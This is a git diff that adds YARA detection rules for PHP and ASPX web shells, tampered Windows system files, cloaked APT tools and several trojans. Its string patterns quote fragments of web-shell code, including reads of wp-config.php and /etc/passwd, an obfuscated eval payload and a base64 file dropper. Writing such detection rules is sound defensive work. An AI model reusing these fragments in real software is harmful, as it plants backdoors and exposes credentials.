+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash3 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash4 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash5 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+	strings:
+		$s0 = "<form method=\"POST\"><input type=hidden name=act value=\"ls\">" fullword ascii
+		$s2 = "foreach($quicklaunch2 as $item) {" fullword ascii
+	condition:
+		filesize < 882KB and all of them
+}
+
+rule Webshell_Ayyildiz {
+	meta:
+		description = "Detects Webshell - rule generated from from files Ayyildiz Tim  -AYT- Shell v 2.1 Biz.txt, Macker's Private PHPShell.php, matamu.txt, myshell.txt, PHP Shell.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "0e25aec0a9131e8c7bd7d5004c5c5ffad0e3297f386675bccc07f6ea527dded5"
+		hash2 = "9c43aada0d5429f8c47595f79a7cdd5d4eb2ba5c559fb5da5a518a6c8c7c330a"
+		hash3 = "2ebf3e5f5dde4a27bbd60e15c464e08245a35d15cc370b4be6b011aa7a46eaca"
+		hash4 = "77a63b26f52ba341dd2f5e8bbf5daf05ebbdef6b3f7e81cec44ce97680e820f9"
+		hash5 = "61c4fcb6e788c0dffcf0b672ae42b1676f8a9beaa6ec7453fc59ad821a4a8127"
+	strings:
+		$s0 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\"), 1)) .\"\\\">Parent Directory</option>\\n\";" fullword ascii
+		$s1 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";" fullword ascii
+	condition:
+		filesize < 112KB and all of them
+}
+
+rule Webshell_zehir {
+	meta:
+		description = "Detects Webshell - rule generated from from files elmaliseker.asp, zehir.asp, zehir.txt, zehir4.asp, zehir4.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218"
+		hash2 = "0c5f8a2ed62d10986a2dd39f52886c0900a18c03d6d279207b8de8e2ed14adf6"
+		hash3 = "cb9d5427a83a0fc887e49f07f20849985bd2c3850f272ae1e059a08ac411ff66"
+		hash4 = "b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d"
+		hash5 = "febf37a9e8ba8ece863f506ae32ad398115106cc849a9954cbc0277474cdba5c"
+	strings:
+		$s1 = "for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';" fullword ascii
+		$s2 = "if (frmUpload.max.value<=0) frmUpload.max.value=1;" fullword ascii
+	condition:
+		filesize < 200KB and 1 of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-10
+	Identifier: Webshells PHP bartblaze
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule UploadShell_98038f1efa4203432349badabad76d44337319a6 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "506a6ab6c49e904b4adc1f969c91e4f1a7dde164be549c6440e766de36c93215"
+	strings:
+		$s2 = "$lol = file_get_contents(\"../../../../../wp-config.php\");" fullword ascii
+		$s6 = "@unlink(\"./export-check-settings.php\");" fullword ascii
+		$s7 = "$xos = \"Safe-mode:[Safe-mode:\".$hsafemode.\"] " fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 6KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule DKShell_f0772be3c95802a2d1e7a4a3f5a45dcdef6997f3 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "7ea49d5c29f1242f81f2393b514798ff7caccb50d46c60bdfcf61db00043473b"
+	strings:
+		$s1 = "<?php Error_Reporting(0); $s_pass = \"" ascii
+		$s2 = "$s_func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on" ascii
+	condition:
+		( uint16(0) == 0x3c0a and filesize < 300KB and all of them )
+}
+
+rule Unknown_8af033424f9590a15472a23cc3236e68070b952e {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "3382b5eaaa9ad651ab4793e807032650667f9d64356676a16ae3e9b02740ccf3"
+	strings:
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT']" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
+	condition:
+		( uint16(0) == 0x6324 and filesize < 6KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule DkShell_4000bd83451f0d8501a9dfad60dce39e55ae167d {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "51a16b09520a3e063adf10ff5192015729a5de1add8341a43da5326e626315bd"
+	strings:
+		$x1 = "DK Shell - Took the Best made it Better..!!" fullword ascii
+		$x2 = "preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x" ascii
+		$x3 = "echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';" fullword ascii
+
+		$s1 = "echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';" fullword ascii
+		$s9 = "$x = $_GET[\"x\"];" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule WebShell_5786d7d9f4b0df731d79ed927fb5a124195fc901 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "b1733cbb0eb3d440c4174cc67ca693ba92308ded5fc1069ed650c3c78b1da4bc"
+	strings:
+		$s1 = "preg_replace(\"\\x2F\\x2E\\x2A\\x2F\\x65\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x" ascii
+		$s2 = "input[type=text], input[type=password]{" fullword ascii
+	condition:
+		( uint16(0) == 0x6c3c and filesize < 80KB and all of them )
+}
+
+rule webshell_e8eaf8da94012e866e51547cd63bb996379690bf {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "027544baa10259939780e97dc908bd43f0fb940510119fc4cce0883f3dd88275"
+	strings:
+		$x1 = "@exec('./bypass/ln -s /etc/passwd 1.php');" fullword ascii
+		$x2 = "echo \"<iframe src=mysqldumper/index.php width=100% height=100% frameborder=0></iframe> \";" fullword ascii
+		$x3 = "@exec('tar -xvf mysqldumper.tar.gz');" fullword ascii
+	condition:
+		( uint16(0) == 0x213c and filesize < 100KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule Unknown_0f06c5d1b32f4994c3b3abf8bb76d5468f105167 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "6362372850ac7455fa9461ed0483032a1886543f213a431f81a2ac76d383b47e"
+	strings:
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT'] . \"/libraries/lola.php\" ;" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
+	condition:
+		( uint16(0) == 0x6324 and filesize < 2KB and all of them )
+}
+
+rule WSOShell_0bbebaf46f87718caba581163d4beed56ddf73a7 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "d053086907aed21fbb6019bf9e644d2bae61c63563c4c3b948d755db3e78f395"
+	strings:
+		$s8 = "$default_charset='Wi'.'ndo.'.'ws-12'.'51';" fullword ascii
+		$s9 = "$mosimage_session = \"" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 300KB and all of them )
+}
+
+rule WebShell_Generic_1609_A {
+	meta:
+		description = "Auto-generated rule"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		super_rule = 1
+		hash1 = "c817a490cfd4d6377c15c9ac9bcfa136f4a45ff5b40c74f15216c030f657d035"
+		hash3 = "69b9d55ea2eb4a0d9cfe3b21b0c112c31ea197d1cb00493d1dddc78b90c5745e"
+	strings:
+		$s1 = "return $qwery45234dws($b);" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and 1 of them )
+}
+
+rule Nishang_Webshell {
+	meta:
+		description = "Detects a ASPX web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/samratashok/nishang"
+		date = "2016-09-11"
+	strings:
+		$s1 = "psi.Arguments = \"-noninteractive \" + \"-executionpolicy bypass \" + arg;" ascii
+		$s2 = "output.Text += \"\nPS> \" + console.Text + \"\n\" + do_ps(console.Text);" ascii
+		$s3 = "<title>Antak Webshell</title>" fullword ascii
+		$s4 = "<asp:Button ID=\"executesql\" runat=\"server\" Text=\"Execute SQL Query\"" ascii
+	condition:
+		( uint16(0) == 0x253C and filesize < 100KB and 1 of ($s*) )
+}
+/*
+	THOR Yara Inverse Matches
+	> Detect system file manipulations and common APT anomalies
+
+	This is an extract from the THOR signature database
+
+	Reference:
+	http://www.bsk-consulting.de/2014/05/27/inverse-yara-signature-matching/
+	https://www.bsk-consulting.de/2014/08/28/scan-system-files-manipulations-yara-inverse-matching-22/
+
+	Notice: These rules require an external variable called "filename"
+
+   License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+*/
+
+private rule WINDOWS_UPDATE_BDC
+{
+condition:
+    (uint32be(0) == 0x44434d01 and // magic: DCM PA30
+     uint32be(4) == 0x50413330)
+    or
+    (uint32be(0) == 0x44434401 and
+     uint32be(12)== 0x50413330)    // magic: DCD PA30
+}
+
+/* Rules -------------------------------------------------------------------- */
+
+rule iexplore_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal iexplore.exe - typical strings not found in file"
+		date = "23/04/2014"
+		score = 55
+	strings:
+		$win2003_win7_u1 = "IEXPLORE.EXE" wide nocase
+		$win2003_win7_u2 = "Internet Explorer" wide fullword
+		$win2003_win7_u3 = "translation" wide fullword nocase
+		$win2003_win7_u4 = "varfileinfo" wide fullword nocase
+	condition:
+		filename == "iexplore.exe"
+      and not filepath contains "teamviewer"
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule svchost_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal svchost.exe - typical strings not found in file"
+		date = "23/04/2014"
+		score = 55
+	strings:
+		$win2003_win7_u1 = "svchost.exe" wide nocase
+		$win2003_win7_u3 = "coinitializesecurityparam" wide fullword nocase
+		$win2003_win7_u4 = "servicedllunloadonstop" wide fullword nocase
+		$win2000 = "Generic Host Process for Win32 Services" wide fullword
+		$win2012 = "Host Process for Windows Services" wide fullword
+	condition:
+		filename == "svchost.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+/* removed 1 rule here */
+
+rule explorer_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal explorer.exe - typical strings not found in file"
+		date = "27/05/2014"
+		score = 55
+	strings:
+		$s1 = "EXPLORER.EXE" wide fullword
+		$s2 = "Windows Explorer" wide fullword
+	condition:
+		filename == "explorer.exe"
+      and not filepath contains "teamviewer"
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule sethc_ANOMALY {
+	meta:
+		description = "Sethc.exe has been replaced - Indicates Remote Access Hack RDP"
+		author = "F. Roth"
+		reference = "http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+		date = "2014/01/23"
+		score = 70
+	strings:
+		$s1 = "stickykeys" fullword nocase
+		$s2 = "stickykeys" wide nocase
+		$s3 = "Control_RunDLL access.cpl" wide fullword
+		$s4 = "SETHC.EXE" wide fullword
+	condition:
+		filename == "sethc.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule Utilman_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal utilman.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 70
+	strings:
+		$win7 = "utilman.exe" wide fullword
+		$win2000 = "Start with Utility Manager" fullword wide
+		$win2012 = "utilman2.exe" fullword wide
+	condition:
+		( filename == "utilman.exe" or filename == "Utilman.exe" ) and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule osk_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal osk.exe (On Screen Keyboard) - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$s1 = "Accessibility On-Screen Keyboard" wide fullword
+		$s2 = "\\oskmenu" wide fullword
+		$s3 = "&About On-Screen Keyboard..." wide fullword
+		$s4 = "Software\\Microsoft\\Osk" wide
+	condition:
+		filename == "osk.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule magnify_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal magnify.exe (Magnifier) - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$win7 = "Microsoft Screen Magnifier" wide fullword
+		$win2000 = "Microsoft Magnifier" wide fullword
+		$winxp = "Software\\Microsoft\\Magnify" wide
+	condition:
+		filename =="magnify.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule narrator_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal narrator.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$win7 = "Microsoft-Windows-Narrator" wide fullword
+		$win2000 = "&About Narrator..." wide fullword
+		$win2012 = "Screen Reader" wide fullword
+		$winxp = "Software\\Microsoft\\Narrator"
+		$winxp_en = "SOFTWARE\\Microsoft\\Speech\\Voices" wide
+	condition:
+		filename == "narrator.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule notepad_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal notepad.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$win7 = "HELP_ENTRY_ID_NOTEPAD_HELP" wide fullword
+		$win2000 = "Do you want to create a new file?" wide fullword
+		$win2003 = "Do you want to save the changes?" wide
+		$winxp = "Software\\Microsoft\\Notepad" wide
+		$winxp_de = "Software\\Microsoft\\Notepad" wide
+	condition:
+		filename == "notepad.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+/* NEW ---------------------------------------------------------------------- */
+
+rule csrss_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file csrss.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "17542707a3d9fa13c569450fd978272ef7070a77"
+	strings:
+		$s1 = "Client Server Runtime Process" fullword wide
+		$s4 = "name=\"Microsoft.Windows.CSRSS\"" fullword ascii
+		$s5 = "CSRSRV.dll" fullword ascii
+		$s6 = "CsrServerInitialization" fullword ascii
+	condition:
+		filename == "csrss.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule conhost_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file conhost.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "1bd846aa22b1d63a1f900f6d08d8bfa8082ae4db"
+	strings:
+		$s2 = "Console Window Host" fullword wide
+	condition:
+		filename == "conhost.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule wininit_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file wininit.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "2de5c051c0d7d8bcc14b1ca46be8ab9756f29320"
+	strings:
+		$s1 = "Windows Start-Up Application" fullword wide
+	condition:
+		filename == "wininit.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule winlogon_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file winlogon.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "af210c8748d77c2ff93966299d4cd49a8c722ef6"
+	strings:
+		$s1 = "AuthzAccessCheck failed" fullword
+		$s2 = "Windows Logon Application" fullword wide
+	condition:
+		filename == "winlogon.exe" and not 1 of ($s*)
+		and not WINDOWS_UPDATE_BDC
+		and not filepath contains "Malwarebytes"
+}
+
+rule SndVol_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file SndVol.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "e057c90b675a6da19596b0ac458c25d7440b7869"
+	strings:
+		$s1 = "Volume Control Applet" fullword wide
+	condition:
+		filename == "sndvol.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule doskey_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file doskey.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "f2d1995325df0f3ca6e7b11648aa368b7e8f1c7f"
+	strings:
+		$s3 = "Keyboard History Utility" fullword wide
+	condition:
+		filename == "doskey.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule lsass_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file lsass.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "04abf92ac7571a25606edfd49dca1041c41bef21"
+	strings:
+		$s1 = "LSA Shell" fullword wide
+		$s2 = "<description>Local Security Authority Process</description>" fullword ascii
+		$s3 = "Local Security Authority Process" fullword wide
+		$s4 = "LsapInitLsa" fullword
+	condition:
+		filename == "lsass.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule taskmgr_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file taskmgr.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "e8b4d84a28e5ea17272416ec45726964fdf25883"
+	strings:
+		$s0 = "Windows Task Manager" fullword wide
+		$s1 = "taskmgr.chm" fullword
+		$s2 = "TmEndTaskHandler::" ascii
+	condition:
+		( filename == "taskmgr.exe" or filename == "Taskmgr.exe" ) and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+/* removed 22 rules here */
+
+/* APT ---------------------------------------------------------------------- */
+
+rule APT_Cloaked_PsExec
+	{
+	meta:
+		description = "Looks like a cloaked PsExec. May be APT group activity."
+		date = "2014-07-18"
+		author = "Florian Roth"
+		score = 60
+	strings:
+		$s0 = "psexesvc.exe" wide fullword
+		$s1 = "Sysinternals PsExec" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and $s0 and $s1
+		and not filename matches /^(psexec.exe|psexesvc.exe)$/is
+}
+
+/* removed 6 rules here */
+
+rule APT_Cloaked_SuperScan
+	{
+	meta:
+		description = "Looks like a cloaked SuperScan Port Scanner. May be APT group activity."
+		date = "2014-07-18"
+		author = "Florian Roth"
+		score = 50
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "SuperScan4.exe" wide fullword
+		$s1 = "Foundstone Inc." wide fullword
+	condition:
+		( $magic at 0 ) and $s0 and $s1 and not filename contains "superscan"
+}
+
+rule APT_Cloaked_ScanLine
+	{
+	meta:
+		description = "Looks like a cloaked ScanLine Port Scanner. May be APT group activity."
+		date = "2014-07-18"
+		author = "Florian Roth"
+		score = 50
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "ScanLine" wide fullword
+		$s1 = "Command line port scanner" wide fullword
+		$s2 = "sl.exe" wide fullword
+	condition:
+		( $magic at 0 ) and $s0 and $s1 and $s2 and not filename == "sl.exe"
+}
+
+rule SAM_Hive_Backup
+{
+	meta:
+		description = "Detects a SAM hive backup file"
+		author = "Florian Roth"
+		reference = "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
+		score = 60
+		date = "2015/03/31"
+	strings:
+		$s1 = "\\SystemRoot\\System32\\Config\\SAM" wide fullword
+	condition:
+		uint32(0) == 0x66676572 and $s1 in (0..100) and
+			not filename contains "sam.log" and
+         not filename contains "SAM.LOG" and
+			not filename contains "_sam" and
+			not filename == "SAM" and
+			not filename == "sam"
+}
+
+/* LENOVO Superfish -------------------------------------------------------- */
+
+rule VisualDiscovery_Lonovo_Superfish_SSL_Hijack {
+	meta:
+		description = "Lenovo Superfish SSL Interceptor - file VisualDiscovery.exe"
+		author = "Florian Roth / improved by kbandla"
+		reference = "https://twitter.com/4nc4p/status/568325493558272000"
+		date = "2015/02/19"
+		hash1 = "99af9cfc7ab47f847103b5497b746407dc566963"
+		hash2 = "f0b0cd0227ba302ac9ab4f30d837422c7ae66c46"
+		hash3 = "f12edf2598d8f0732009c5cd1df5d2c559455a0b"
+		hash4 = "343af97d47582c8150d63cbced601113b14fcca6"
+	strings:
+		$mz = { 4d 5a }
+		//$s1 = "VisualDiscovery.exe" fullword wide
+		$s2 = "Invalid key length used to initialize BlowFish." fullword ascii
+		$s3 = "GetPCProxyHandler" fullword ascii
+		$s4 = "StartPCProxy" fullword ascii
+		$s5 = "SetPCProxyHandler" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 2MB and all of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/Havex_Trojan.yar b/yara-mikesxrs/Florian Roth/Havex_Trojan.yar
new file mode 100644
index 0000000..8e7c1ca
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/Havex_Trojan.yar	
@@ -0,0 +1,24 @@
+rule Havex_Trojan
+	{
+	meta:
+		description = "Detects the Havex RAT malware"
+		date = "2014-06-24"
+		author = "Florian Roth"
+		reference = "http://goo.gl/GO5mB1"
+		hash = "7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849"
+	strings:
+		$magic = { 4d 5a }	
+	
+	    $s1 = "Start finging of LAN hosts..." fullword wide
+		$s2 = "Finding was fault. Unexpective error" fullword wide
+		$s3 = "Hosts was't found." fullword wide
+		$s4 = "%s[%s]!!!EXEPTION %i!!!" fullword wide
+		$s5 = "%s  <%s> (Type=%i, Access=%i, ID='%s')" fullword wide
+		$s6 = "Was found %i hosts in LAN:" fullword wide
+		
+		$x1 = "MB Connect Line GmbH" wide fullword
+		$x2 = "mbCHECK" wide fullword
+	condition:
+	    $magic at 0 and ( 2 of ($s*) or all of ($x*) )
+}
+
diff --git a/yara-mikesxrs/Florian Roth/Havex_Trojan_PHP_Server.yar b/yara-mikesxrs/Florian Roth/Havex_Trojan_PHP_Server.yar
new file mode 100644
index 0000000..ee78373
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/Havex_Trojan_PHP_Server.yar	
@@ -0,0 +1,14 @@
+rule Havex_Trojan_PHP_Server
+	{
+	meta:
+		description = "Detects the PHP server component of the Havex RAT"
+		date = "2014-06-24"
+		author = "Florian Roth"
+		reference = "http://goo.gl/GO5mB1"
+	strings:
+	    $s1 = "havex--></body></head>"
+		$s2 = "ANSWERTAG_START"
+		$s3 = "PATH_BLOCKFILE"
+	condition:
+	    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/POSCardStealer_SpyBot.yar b/yara-mikesxrs/Florian Roth/POSCardStealer_SpyBot.yar
new file mode 100644
index 0000000..646b848
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/POSCardStealer_SpyBot.yar	
@@ -0,0 +1,23 @@
+rule POSCardStealer_SpyBot {
+        meta:
+                description = "POSCardStealer SpyBot Malware"
+                author = "F. Roth"
+                date = "2014-02-10"
+                sha256 = "853fb5a2aad2e0533e390cfa5b0f3dfe96a054390cacdc8f4ba844bba20809e4"
+                sha256 = "85c04c846b8e4a238b26cd96103a621f82242dd06ce0b8352d8f874c8387e1ae"
+                sha256 = "e02e58cae7e61c4d93392c1a3e5f892d9bd053f28ec58b878c18a15ed2021613"
+        strings:
+                $s1 = "[BOT_ENGINE] - INFO - Created MUTEX: \"%s\"" wide
+                $s2 = "\\Rescator\\uploader\\Debug\\scheck.pdb"
+                $s3 = "data_%d_%d_%d_%d_%d.txt"
+
+                $x1 = "BladeLogic"
+                $x1 = "cmd /c net start %s"
+                $x2 = "ftp -s:%s"
+                $x3 = "PATH: %s"
+                $x4 = "cmd.txt"
+                $x6 = "COMMAND: %s"
+
+        condition:
+                1 of ($s*) or 4 of ($x*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_alienspy_rat.yar b/yara-mikesxrs/Florian Roth/apt_alienspy_rat.yar
new file mode 100644
index 0000000..eceef5e
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_alienspy_rat.yar	
@@ -0,0 +1,49 @@
+
+rule crime_win_rat_AlienSpy
+{
+meta:
+	description = "Alien Spy Remote Access Trojan"
+	author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
+	reference_1 = "www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf"
+	reference_2 = "www.fidelissecurity.com/sites/default/files/AlienSpy-Configs2_1_2.csv"
+	date = "04-Apr-15"
+	filetype = "Java"
+	hash_1 = "075fa0567d3415fbab3514b8aa64cfcb"
+	hash_2 = "818afea3040a887f191ee9d0579ac6ed"
+	hash_3 = "973de705f2f01e82c00db92eaa27912c"
+	hash_4 = "7f838907f9cc8305544bd0ad4cfd278e"
+	hash_5 = "071e12454731161d47a12a8c4b3adfea"
+	hash_6 = "a7d50760d49faff3656903c1130fd20b"
+	hash_7 = "f399afb901fcdf436a1b2a135da3ee39"
+	hash_8 = "3698a3630f80a632c0c7c12e929184fb"
+	hash_9 = "fdb674cadfa038ff9d931e376f89f1b6"
+
+   strings:
+		
+        $sa_1 = "META-INF/MANIFEST.MF"
+        $sa_2 = "Main.classPK"
+        $sa_3 = "plugins/Server.classPK"
+        $sa_4 = "IDPK"
+		
+        $sb_1 = "config.iniPK"
+        $sb_2 = "password.iniPK"
+        $sb_3 = "plugins/Server.classPK"
+        $sb_4 = "LoadStub.classPK"
+        $sb_5 = "LoadStubDecrypted.classPK"
+        $sb_7 = "LoadPassword.classPK"
+        $sb_8 = "DecryptStub.classPK"
+        $sb_9 = "ClassLoaders.classPK"
+		
+        $sc_1 = "config.xml"
+        $sc_2 = "options"
+        $sc_3 = "plugins"
+        $sc_4 = "util"
+        $sc_5 = "util/OSHelper"
+        $sc_6 = "Start.class"
+        $sc_7 = "AlienSpy"
+        $sc_8 = "PK"
+	
+  condition:
+    
+	uint16(0) == 0x4B50 and filesize < 800KB and ( (all of ($sa_*)) or (all of ($sb_*)) or (all of ($sc_*)) )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_apt17_malware.yar b/yara-mikesxrs/Florian Roth/apt_apt17_malware.yar
new file mode 100644
index 0000000..503649a
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_apt17_malware.yar	
@@ -0,0 +1,34 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-14
+	Identifier: APT17
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT17_Sample_FXSST_DLL {
+	meta:
+		description = "Detects Samples related to APT17 activity - file FXSST.DLL"
+		author = "Florian Roth"
+		reference = "https://goo.gl/ZiJyQv"
+		date = "2015-05-14"
+		hash = "52f1add5ad28dc30f68afda5d41b354533d8bce3"
+	strings:
+		$x1 = "Microsoft? Windows? Operating System" fullword wide
+		$x2 = "fxsst.dll" fullword ascii
+		
+		$y1 = "DllRegisterServer" fullword ascii
+		$y2 = ".cSV" fullword ascii
+
+		$s1 = "GetLastActivePopup"
+		$s2 = "Sleep"
+		$s3 = "GetModuleFileName"
+		$s4 = "VirtualProtect"
+		$s5 = "HeapAlloc"
+		$s6 = "GetProcessHeap"
+		$s7 = "GetCommandLine"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and
+			( all of ($x*) or all of ($y*) ) and all of ($s*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_apt28.yar b/yara-mikesxrs/Florian Roth/apt_apt28.yar
new file mode 100644
index 0000000..2e7c6db
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_apt28.yar	
@@ -0,0 +1,94 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2015-06-02
+	Identifier: APT28
